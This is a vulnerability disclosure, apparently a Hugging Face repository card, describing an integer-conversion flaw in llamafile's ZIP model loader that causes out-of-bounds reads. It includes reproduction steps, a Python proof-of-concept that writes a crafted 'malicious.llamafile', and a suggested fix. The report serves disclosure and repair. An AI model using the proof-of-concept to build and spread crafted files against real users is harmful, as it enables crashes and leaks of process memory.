YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

[1] Repository


https://github.com/Mozilla-Ocho/llamafile

[2] Package Manager


other

[3] Affected Version


All versions (latest main branch confirmed)

[5] CVSS


Attack Vector: Local Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality: High Integrity: High Availability: High

[6] CWE


CWE-195: Signed to Unsigned Conversion Error

Title

Signed-to-Unsigned Integer Conversion in ZIP Size Parsing Causes OOB Memory Access

Description

llamafile's ZIP-embedded GGUF model loader has a signed-to-unsigned integer conversion vulnerability that leads to out-of-bounds memory access when loading a crafted .llamafile.

At llamafile/llamafile.c:175, the return value of get_zip_cfile_compressed_size() (type int64_t) is stored directly into file->size (type size_t, unsigned) without checking for the error return value of -1.

The function get_zip_cfile_compressed_size() at llamafile/zip.c:33-47 returns -1 when a ZIP entry has COMPRESSEDSIZE = 0xFFFFFFFF (indicating ZIP64 format) but the required ZIP64 extra field is missing or malformed. This is a normal error condition, not an edge case.

When -1 (int64_t) is stored into file->size (size_t), it becomes 0xFFFFFFFFFFFFFFFF (SIZE_MAX) on 64-bit systems.

At llamafile/llamafile.c:224-225:

file->mapsize = skew + file->size;  // skew + SIZE_MAX wraps to a small value
file->mapping = mmap(0, file->mapsize, PROT_READ, MAP_SHARED, fd, mapoff);

The mmap() call succeeds with the small wrapped mapsize. However, subsequent reads via llamafile_read() use file->size (= SIZE_MAX) as the upper bound, causing memcpy() to read far beyond the actual memory mapping, resulting in SIGSEGV or information disclosure.

The struct llamafile at line 56-65 confirms size is size_t (unsigned).

[9] Occurrences


Occurrence 1: Permalink: https://github.com/Mozilla-Ocho/llamafile/blob/main/llamafile/llamafile.c#L175 Description: Unchecked signed-to-unsigned conversion โ€” int64_t -1 stored in size_t file->size becomes SIZE_MAX

Occurrence 2: Permalink: https://github.com/Mozilla-Ocho/llamafile/blob/main/llamafile/llamafile.c#L224 Description: Integer wraparound in mapsize calculation โ€” skew + SIZE_MAX wraps to small value

Occurrence 3: Permalink: https://github.com/Mozilla-Ocho/llamafile/blob/main/llamafile/zip.c#L46 Description: get_zip_cfile_compressed_size returns -1 on missing ZIP64 extra field โ€” caller does not check

[7] Steps to Reproduce


  1. Create a valid .llamafile ZIP containing a .gguf model entry
  2. Hex-edit the ZIP central directory entry to set COMPRESSEDSIZE = 0xFFFFFFFF (triggers ZIP64 path)
  3. Remove or truncate the ZIP64 extra field from the central directory entry (so get_zip_cfile_compressed_size cannot find the actual size and returns -1)
  4. Run: ./llamafile --model malicious.llamafile
  5. Observe: segfault due to OOB memory read

Trigger flow:

ZIP central directory: COMPRESSEDSIZE = 0xFFFFFFFF (ZIP64 marker)
  -> get_zip_cfile_compressed_size() searches for ZIP64 extra field
  -> ZIP64 extra field missing -> returns -1 (int64_t)
  -> file->size = (size_t)(-1) = 0xFFFFFFFFFFFFFFFF
  -> file->mapsize = skew + 0xFFFFFFFFFFFFFFFF -> wraps to small value
  -> mmap() succeeds with small mapping
  -> llamafile_read() uses file->size as bound -> OOB read -> SIGSEGV

PoC Script:

import struct
gguf_name = b"model.gguf"
gguf_data = b"\x47\x47\x55\x46\x03\x00\x00\x00" + b"\x00" * 100
# ZIP local file header
lfh = struct.pack('<IHHHHI', 0x04034b50, 45, 0, 0, 0, 0)
lfh += struct.pack('<II', len(gguf_data), len(gguf_data))
lfh += struct.pack('<HH', len(gguf_name), 0) + gguf_name + gguf_data
# Central directory with COMPRESSEDSIZE=0xFFFFFFFF, NO ZIP64 extra
cde = struct.pack('<IHHHHHI', 0x02014b50, 45, 45, 0, 0, 0, 0)
cde += struct.pack('<II', 0xFFFFFFFF, 0xFFFFFFFF)  # MALICIOUS: triggers ZIP64 path
cde += struct.pack('<HHHHI', len(gguf_name), 0, 0, 0, 0)  # extra_len=0: NO ZIP64!
cde += struct.pack('<I', 0) + gguf_name
# EOCD
eocd = struct.pack('<IHHHHII H', 0x06054b50, 0, 0, 1, 1, len(cde), len(lfh), 0)
with open("malicious.llamafile", "wb") as f:
    f.write(lfh + cde + eocd)

[8] Impact


An attacker who distributes a crafted .llamafile can:

  1. Crash llamafile on load (denial of service) via SIGSEGV from OOB memory read
  2. Leak process memory if adjacent memory is mapped โ€” the OOB read can expose sensitive data from the process address space
  3. Potential code execution if the OOB read corrupts heap metadata or reaches writable memory

llamafile is designed as a single-file executable that users download and run directly. A malicious .llamafile distributed via social engineering or compromised model repositories would crash or compromise any user who loads it.

The fix is simple: check the return value of get_zip_cfile_compressed_size() before storing in file->size:

int64_t compressed_size = get_zip_cfile_compressed_size(cdirdata + entry_offset);
if (compressed_size < 0) {
    fprintf(stderr, "%s: error: failed to determine compressed size\n", prog);
    goto Invalid;
}
file->size = (size_t)compressed_size;
Downloads last month
12
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support